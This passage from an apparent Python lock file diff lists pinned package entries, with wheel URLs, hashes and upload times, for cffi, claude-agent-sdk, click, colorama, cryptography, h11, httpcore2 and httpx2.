"https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" }, + { url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" }, + { url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" }, + { url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" }, + { url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" }, + { url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" }, + { url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" }, + { url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" }, + { url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" }, + { url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" }, + { url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" }, + { url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" }, + { url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" }, + { url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" }, + { url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" }, + { url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" }, + { url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" }, + { url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" }, + { url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" }, + { url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" }, + { url = "https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" }, + { url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" }, +] + +[[package]] +name = "claude-agent-sdk" +version = "0.2.160" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "jsonschema" }, + { name = "mcp" }, + { name = "sniffio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bd/46/ff902a63d79b278fd8631ef420b9d6a6e85959f0c75e87c3ecc7a0397608/claude_agent_sdk-0.2.160.tar.gz", hash = "sha256:1107f7804c656e194cbf80d9e20b4b861803bc16c4067a04839a347c9d140f48", size = 365170, upload-time = "2026-09-25T22:31:19.672Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b4/c0/3ef94041ac8daf218e04d2047fa780643abeabbe9ca0495391f25078e169/claude_agent_sdk-0.2.160-py3-none-macosx_11_0_arm64.whl", hash = "sha256:547cb16c94c67b57873c1ac9b5ce83076941d5189d52601b9791032d13a21456", size = 93695006, upload-time = "2026-09-25T22:31:24.616Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6f/74ba55f294cc132ced13de24d8011e30f0073075fa829aa4aa09d66c1493/claude_agent_sdk-0.2.160-py3-none-macosx_11_0_x86_64.whl", hash = "sha256:cc77386858bd5e716914544a35a0620fe1586d130299d1c7b2e207bebd02ace4", size = 98113129, upload-time = "2026-09-25T22:31:30.278Z" }, + { url = "https://files.pythonhosted.org/packages/17/bf/560d9c04d574484d6659ba325693e14f03d8aa2ca38781736ed08635b22d/claude_agent_sdk-0.2.160-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:59638c6acd0159da200eb9d8fbb282d6c8d2191e6fcdd02fa751857c014b7e40", size = 103152841, upload-time = "2026-09-25T22:31:35.62Z" }, + { url = "https://files.pythonhosted.org/packages/9d/04/fcb6c6a77d5ee04cd6dc7c1e43e824e73ce57d2c59f1cdb80c0255bfc4ac/claude_agent_sdk-0.2.160-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:70d1dd4286b69ecdc334d66e7b9dae8532790803f7cd7e0bf269bd5e407f2259", size = 103518762, upload-time = "2026-09-25T22:31:41.303Z" }, +] + +[[package]] +name = "click" +version = "8.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/0e/7fa0ef50764b67090eca4114772a2abf8b6148198475e54c660b97caeee6/click-8.5.0.tar.gz", hash = "sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34", size = 382235, upload-time = "2026-08-26T13:33:14.56Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", hash = "sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", size = 125251, upload-time = "2026-08-26T13:33:12.928Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "cryptography" +version = "50.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bb/ad/5d6702db60b1e40b41ef513b6967ff5848f307d50f8449baf1634f5908f1/cryptography-50.0.1.tar.gz", hash = "sha256:5dd9bda1c12b4162f6ff568eeb5e0ff956c28d14406e875cfe8a63a2d414ff20", size = 880381, upload-time = "2026-08-25T19:45:45.499Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/19/797e2aaac9df6a66f1550f49979dc1b1e39ecd2077501c30efa81e8d5d67/cryptography-50.0.1-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:b8f852c65863251b9e3a1b8c150ce21e59b522dbb6a7d4bc80e680d38388e986", size = 4010153, upload-time = "2026-08-25T19:44:03.155Z" }, + { url = "https://files.pythonhosted.org/packages/90/34/9ce9a62ed9dc82ca9fd6a34445b6904af56e5f38b3eae2ed32e49c36053d/cryptography-50.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:53e279950892dc102c6b4e52af03ae5ea92fac572a1ddab78ca73a997f62b69f", size = 4723133, upload-time = "2026-08-25T19:44:05.461Z" }, + { url = "https://files.pythonhosted.org/packages/57/26/e6d4fc8512a51a5f9ee7bfdbfb853bce1197087df40c9ad993ad370b846f/cryptography-50.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ff838d62ec1bfce4f9ba7fa16f4a7b554cd8d0c299e6be37502161a660c84eef", size = 4712478, upload-time = "2026-08-25T19:44:07.375Z" }, + { url = "https://files.pythonhosted.org/packages/e6/de/d3cdc2815697aae84126cbd6a030ca7b6b452e28a88b501b836bd3aa7a86/cryptography-50.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:e74591e283fe6eb956416c929eb58262a719fe0311fd9054c62c3350ed8760d8", size = 4730726, upload-time = "2026-08-25T19:44:09.294Z" }, + { url = "https://files.pythonhosted.org/packages/55/32/38c0d344b98c06d34b5df8946565a9c0d6dbf32c8e0730a7f05f0a3c6cab/cryptography-50.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5fe002589592ed749ce77fe0695fcbd3500dd61d7d6db5858a7544c612fa8e45", size = 5353524, upload-time = "2026-08-25T19:44:11.96Z" }, + { url = "https://files.pythonhosted.org/packages/e1/1b/82f0f0d8858d4432be1af790477edf62aef90324041aa07c57e57bef1af7/cryptography-50.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:51593d180cf6d179bde5c5d065bed81386b1f381656ae7d042b7ffc87a9895ad", size = 4746720, upload-time = "2026-08-25T19:44:14.051Z" }, + { url = "https://files.pythonhosted.org/packages/29/ba/042ca458b8c64348c768284b5d23e69b92ed53d057ab779fee628564676d/cryptography-50.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:359e62deae718bce96170e223fdcb6357e4fbd3bb7a3a75f4430763532560e49", size = 4361866, upload-time = "2026-08-25T19:44:16.167Z" }, + { url = "https://files.pythonhosted.org/packages/39/3b/e96c1ef71edef71057c7e3c3d982ce8fda554e0c52d0cc19c18845cde3eb/cryptography-50.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e2ca8fd1b6b4b82a1c4cb02841d0837e3c12336c2e24b520ab8ab3b969733d8f", size = 4730028, upload-time = "2026-08-25T19:44:18.085Z" }, + { url = "https://files.pythonhosted.org/packages/e3/38/45abd72ef63f2e7d0754a6cacf97bd8b69512ace7f6130d24c39ece65da2/cryptography-50.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:76de83fbd91ac49c0feaaa983d0748fd7a53176afac5fb3bf7478d244f0eb527", size = 5308405, upload-time = "2026-08-25T19:44:20.197Z" }, + { url = "https://files.pythonhosted.org/packages/85/66/6ccca4722987ddedaa7fc9c3f4708af7431f5535666c174350830888c6b7/cryptography-50.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:51afcfceb15597cf2635068e4ac9a56b2abde622edde17f37d85fd7b5306497a", size = 4746230, upload-time = "2026-08-25T19:44:22.376Z" }, + { url = "https://files.pythonhosted.org/packages/13/0e/b1f92e013228111413f2e6743948b80bc24dfd3c1b87ba98ceea16f5df89/cryptography-50.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:be224a65493ec5b74a158ff22a5522ce4a5ca1e543c647a3a4730d4a09e5f959", size = 4862596, upload-time = "2026-08-25T19:44:24.472Z" }, + { url = "https://files.pythonhosted.org/packages/7e/22/c3654cccc856e9d682817b04ac3ee79731cb09ca6f95996a95c904de2883/cryptography-50.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9ebcdd5519be9b652a46f507817a74591774fc3d6923ac364e4dfa64e36b291b", size = 5014082, upload-time = "2026-08-25T19:44:26.709Z" }, + { url = "https://files.pythonhosted.org/packages/42/8b/cb12b1b60c91b074ca6bf0fdd59aa8f10d8bc5f73af8faece86ef0421b37/cryptography-50.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:aed8db4f6d71c51efb89530e12d9464e7bf2923d46c3205dc794a2a93f8c0648", size = 3842826, upload-time = "2026-08-25T19:44:28.784Z" }, + { url = "https://files.pythonhosted.org/packages/5b/f0/424cb557d99aa86ac55da5e2add02e2882e44047b6264f93ade1b975a993/cryptography-50.0.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:30a125032e5642a21ff816e021152bd4e7e94f03eff3f4b7fca41cd22bc3110f", size = 3973525, upload-time = "2026-08-25T19:44:30.7Z" }, + { url = "https://files.pythonhosted.org/packages/4d/72/3a2711d967977ab5fc80b782837c7e8d1ac7445e764c20c381a265c57ef3/cryptography-50.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a0b1a59e3a089064a0ec309e9428c8e3ae4e161419d20ac33600767e83fc658a", size = 4708817, upload-time = "2026-08-25T19:44:32.773Z" }, + { url = "https://files.pythonhosted.org/packages/b4/f2/bb1f56e10815b789df0b409a69fa4992ff3d3fef9c72747f4a6b26fed38e/cryptography-50.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8921d58f426793c5f1b47f0b59575780de9a095214958d0eb37d909593db8367", size = 4697300, upload-time = "2026-08-25T19:44:35.144Z" }, + { url = "https://files.pythonhosted.org/packages/08/bd/ed5396be499ffcf8807a585bfe38b71a1fbdd1c342b4f9b6d0ef5162a946/cryptography-50.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:a8f40ea47330e71b594a7e246898f93177c259490c63183dbaf9e571d71ed9a5", size = 4716039, upload-time = "2026-08-25T19:44:37.192Z" }, + { url = "https://files.pythonhosted.org/packages/f6/6e/1cf405c5c8e8df7545378048e954792f00b7f2367af8863ce8b8f3e10607/cryptography-50.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:a255449073358275b64b67d3f595f268bbef70e72b6edb65e0c70c735bf739c9", size = 5332388, upload-time = "2026-08-25T19:44:39.16Z" }, + { url = "https://files.pythonhosted.org/packages/47/92/b4317e8c32c4f47b062f5398bd79106b220a124546f42be83bf32b761e2a/cryptography-50.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:8df2de9102026855887e4587084f6eabd80ed0f345b8ad8a7ac27ab9bf4723e0", size = 4730293, upload-time = "2026-08-25T19:44:41.298Z" }, + { url = "https://files.pythonhosted.org/packages/39/0d/a1e7633e2c744d0f2983320a27e924ef2264c79c56e1a58d5fb0a1cfd413/cryptography-50.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:ac02b07824d4d1001bd4367599f839c19cb171924c796e52c23508ac14c2c0cc", size = 4346031, upload-time = "2026-08-25T19:44:43.245Z" }, + { url = "https://files.pythonhosted.org/packages/88/dd/b215616f9bab3fc18510c78a4e5c9f362d77838503c363dc747c7d4f5c6f/cryptography-50.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:cbf74a81765ee67413503ca6e26dcc4f6f5a519822436cc0a1b97aab6c1b8a17", size = 4715344, upload-time = "2026-08-25T19:44:45.291Z" }, + { url = "https://files.pythonhosted.org/packages/b1/1b/ec3ebd31741d0e963612c4fe43caa39341b9b1e031e469820e42e4c83918/cryptography-50.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:16c5ecd954b3330ebfb6605eca4fd952da8bef376551d5cc264534e3770a9ee6", size = 5287201, upload-time = "2026-08-25T19:44:47.297Z" }, + { url = "https://files.pythonhosted.org/packages/1a/01/0127d11a762b31a9ee0221894f540318761783f3fdc4bc5d057698caebd5/cryptography-50.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:79bf008d1f9af6071c797ad133e39915dfee7614f18f18f4db9072eb715064a3", size = 4730023, upload-time = "2026-08-25T19:44:49.435Z" }, + { url = "https://files.pythonhosted.org/packages/9e/b9/e7425ebfb599241a0c1d7000f1b466c3062da66c19d9525031315dff7213/cryptography-50.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:330fbb252391c596f1ae42c5754449dc924e6ad012dca8efe0d703f9f2d12ec6", size = 4847362, upload-time = "2026-08-25T19:44:51.94Z" }, + { url = "https://files.pythonhosted.org/packages/2d/fd/60d0ddf4defa12e482c9d5e0f554384d6e8ab25341fd15f060028fd92e6a/cryptography-50.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:42be3bb70596b3abe4ac097b75be223e8b3ab614a0e5de068e3dcc54d71d6149", size = 4999247, upload-time = "2026-08-25T19:44:53.876Z" }, + { url = "https://files.pythonhosted.org/packages/4d/56/bc4f2b209e766c93372cfcd59b781a0b2b59700f62a969580415b699c2b2/cryptography-50.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:f74455bb086a85d5e81246412602aaa97ed095e504cd40dd261ef50be42205bf", size = 3825806, upload-time = "2026-08-25T19:44:56.209Z" }, + { url = "https://files.pythonhosted.org/packages/84/a9/ee16a903f13755e914d1eecc482fe64d1f10761c3960e5d8fa6837377aff/cryptography-50.0.1-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:ca83d00d9e69cd5eb63f2e69c3a5a59e0cecae5ae14c6ae0b35830fe3b37bad0", size = 4035307, upload-time = "2026-08-25T19:44:58.305Z" }, + { url = "https://files.pythonhosted.org/packages/5e/a5/9ec7e81e8526c0d7a387d73386b2daed3f39e10d81a85930bd1b6bfba65c/cryptography-50.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:05ba322c4da95b262a212c345af888ef2c37c88c0509756ea00a0e6d68850f23", size = 4751900, upload-time = "2026-08-25T19:45:00.401Z" }, + { url = "https://files.pythonhosted.org/packages/7e/3c/0e77bd5ffcf078e9dd27d3074aad6c030d9b10d0bf69329d573c927a188c/cryptography-50.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e22dfed744bd4002e909464cb23d2f0b05c6f3113a79ef2e9864a53db737c733", size = 4738357, upload-time = "2026-08-25T19:45:02.786Z" }, + { url = "https://files.pythonhosted.org/packages/27/3a/3c5f80daa4dcd47323c7af8a2fcb90de27a33564d4fcac69846c0972691a/cryptography-50.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4c4188f7c0cf655be5c06342b817ed0f9595b69ffa2b12026e5353eed29dea88", size = 4758474, upload-time = "2026-08-25T19:45:04.889Z" }, + { url = "https://files.pythonhosted.org/packages/6e/2b/214cf0cf93db9628c3c20c896b229f327f6fb1b20e4b3743d8ad3f00af8b/cryptography-50.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:2ebbfb0f1fed745e91796e3e1080a1440423fdae8ece1b995a1d80883a409054", size = 5375862, upload-time = "2026-08-25T19:45:07.163Z" }, + { url = "https://files.pythonhosted.org/packages/d6/51/3f9701867a46b6c1740c9b52fc4d3bed6cbdcfedcc9b6e64305c07f39cff/cryptography-50.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:407fe2b6db00939c05c0e945e9914238f2f0a430974839429dafc82b1ee6bee5", size = 4772942, upload-time = "2026-08-25T19:45:09.396Z" }, + { url = "https://files.pythonhosted.org/packages/0d/5c/13ea642e08e2544d0f5396122055f4820cfacb3203562197b5967125ea97/cryptography-50.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:2b34d76a652ea2b6faf777c35df230c5637842cd904e04f16230c3f9f03e4361", size = 4383347, upload-time = "2026-08-25T19:45:11.659Z" }, + { url = "https://files.pythonhosted.org/packages/84/d5/7d1fe1cb93f91c428093ff234e128c89ba8ea61a6f26aab406081f9b996e/cryptography-50.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:01f41478cf33fc605a6a089cd56d28b45c6c0b45a1928b61797f2621a04bac71", size = 4758050, upload-time = "2026-08-25T19:45:13.745Z" }, + { url = "https://files.pythonhosted.org/packages/dd/04/557fc5ead96a829e0bc812a3b9dc4a52a2f27e4f7f5950da7ff27653a805/cryptography-50.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:fc3ed7ebd2a8c96f5b166de0ab9b624996bef3b07bbeb19364dfb78222c22c80", size = 5332955, upload-time = "2026-08-25T19:45:16.193Z" }, + { url = "https://files.pythonhosted.org/packages/8c/eb/5d7124083e8d8cda8f5b348f544b71ad6f707ad63193758ef4d8e569da02/cryptography-50.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:9dde0a357190eb3b1da1bb9ab750e9c85cba82ca5977aa0836cbb94e92611239", size = 4772694, upload-time = "2026-08-25T19:45:18.315Z" }, + { url = "https://files.pythonhosted.org/packages/63/8e/f1f955e0921dd2b6d22eae7e8d24a4c4b638d10735ffbf6a71f99eb0fcb8/cryptography-50.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd3718b960d0b5dd213cdf03f3bcb7000e69dda0de8b956061947ff6bcff5558", size = 4888413, upload-time = "2026-08-25T19:45:20.4Z" }, + { url = "https://files.pythonhosted.org/packages/1f/ab/89e2b798d2c3925f82e2bb72d5979f3d2f6da2dd22ef4a8cd8b70d920039/cryptography-50.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2a93d05e34d5f67fba6f891fe85d929999baa7195e853923ea6d7576c9e68c5e", size = 5044355, upload-time = "2026-08-25T19:45:22.353Z" }, + { url = "https://files.pythonhosted.org/packages/99/89/87ef49ffe383ef4e147d27b7bf2088fb0b54ea409dd87b5a89442e5828a5/cryptography-50.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:55d16b1ef3ee0958d893a977b19777887e546c9954ea81b200c3301a864013f2", size = 3875429, upload-time = "2026-08-25T19:45:24.418Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore2" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "h11" }, + { name = "truststore" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cb/f3/1db7aa2bc2524062192bb0e0323969492d1883152a232fe36eea65f4e35c/httpcore2-2.13.1.tar.gz", hash = "sha256:e0aa977abe17e69a3b820a24542a6fa88702676d83880b8d194dcd18408e5103", size = 68071, upload-time = "2026-09-23T07:47:22.372Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/09/ba/a4568248771ce81957bfb7cc600264a40fbcda092391ee1c415c50be4bea/httpcore2-2.13.1-py3-none-any.whl", hash = "sha256:e1e05d4f25f7d7d496bfb96748f6f4b67657b03da069b3a68c36069f3db73d0a", size = 83423, upload-time = "2026-09-23T07:47:19.365Z" }, +] + +[[package]] +name = "httpx2" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform != 'emscripten'" }, + { name = "httpcore2", marker = "sys_platform != 'emscripten'" }, + { name = "httpx2-jsfetch", marker = "sys_platform == 'emscripten'" }, + { name = "idna" }, + { name = "truststore", marker = "sys_platform != 'emscripten'" }, + { name = "typing-extensions", marker = 